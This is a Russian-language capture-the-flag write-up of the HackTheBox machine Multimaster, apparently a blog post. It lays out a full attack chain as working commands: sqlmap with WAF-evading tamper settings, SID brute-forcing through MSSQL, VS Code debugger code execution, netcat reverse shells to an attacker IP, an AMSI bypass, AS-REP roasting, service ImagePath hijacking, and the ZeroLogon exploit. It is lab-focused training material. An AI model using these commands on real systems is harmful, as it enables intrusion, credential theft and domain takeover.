Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.
10.10.10.179 multimaster.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
С SMB и LDAP ничего сделать не выходит, посмотрим веб.
На сайте есть авторизация, а также форма поиска.
Причем поиск работает по вхождению.
Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.
Получается, что мы имеем SQL инъекцию.
Но вывести хоть что-либо не выходит. Видимо используется WAF.
Но его получилось обойти за счет использования Unicode кодировки.
И находим количество столбцов.
Значит инъекция есть 100%.
Sqlmap + Burp Suite
Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД — отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
Перехватываем запросы в burp, и видим несколько иное отображение кодировки.
Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.
И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.
Добавим правило, которое в теле запроса будет менять %u на \u.
И удостоверимся, что оно активно.
Теперь снова выполним sqlmap.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
В Burp наблюдаем уже исправленный запрос.
Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.
Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
Мы ничего не можем сделать. Узнаем базы данных.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
Посмотрим таблицы из Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
То что нужно. Таблица Logins. Извлечем из нее все данные.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.
Теперь узнаем режимы hashcat, которые мы будем перебирать.
Всего три режима. И используя последнй мы ломаем три хеша.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
Но данные хеши не подходят для SMB. Копаем дальше.
USER
То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.
И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.
Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.
И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора — 500.
Из полученного SID возьмем первые 48 байт.
И добавляем в конец, RID — 500 (не забываем перевернуть).
И теперь получим имя учетной записи по нашему SID.
Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.
Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
Сохраняем результат в файл и указываем в Burp.
Также выключаем URL кодирование и заменяем все 0x на \u00.
Помним про WAF, ставим один поток и и задержку между запросами.
Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.
Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.
Подключаемся к WinRM и мы в системе.
USER2
Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.
Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.
Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.
Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.
И в глаза бросается VSCode.
Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!
Как следует отсюда:
An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.
Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать cefdebug.
Давайте найдем прослушиваемый порт.
Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
И видим успешное подключение.
Идем в нашу директорию.
Из всего представленного наибольший интерес представляет API. Давайте скачаем его.
Я перешел в систему Windows и проверил, на чем написана данная библиотека.
Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.
И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
И забираем еще одного пользователя
USER3
При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью Invoke-AlokS-AvBypass.
Теперь спокойно загружаем на хост sharphound.
И после запуска наблюдаем архив.
Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.
Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.
Давайте получим информацию о связи.
Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство — не требовать предварительную аутентификацию Kerberos.
И выполним запрос.
Копируем хеш и ломаем с помощью hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
Получаем пароль пользователя. И успешно заходим под ним.
ROOT
Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.
Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDataService.
Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
И после запуска службы наблюдаем подключение на 4321 порт.
sc.exe start SensorDataService
Мы с правами SYSTEM.
CVE-2020-1472
А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).
По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Теперь используем эксплоит.
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
А с хешем администратора можем подключиться через WinRM.
В частности, так можно захватить контроллер домена на базе:
- всех версий Windows Server 2019, Windows Server 2016;
- всех вариантов Windows Server версии 1909;
- Windows Server версии 1903;
- Windows Server версии 1809 (Datacenter, Standard);
- Windows Server 2012 R2;
- Windows Server 2012;
- Windows Server 2008 R2 Service Pack 1.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.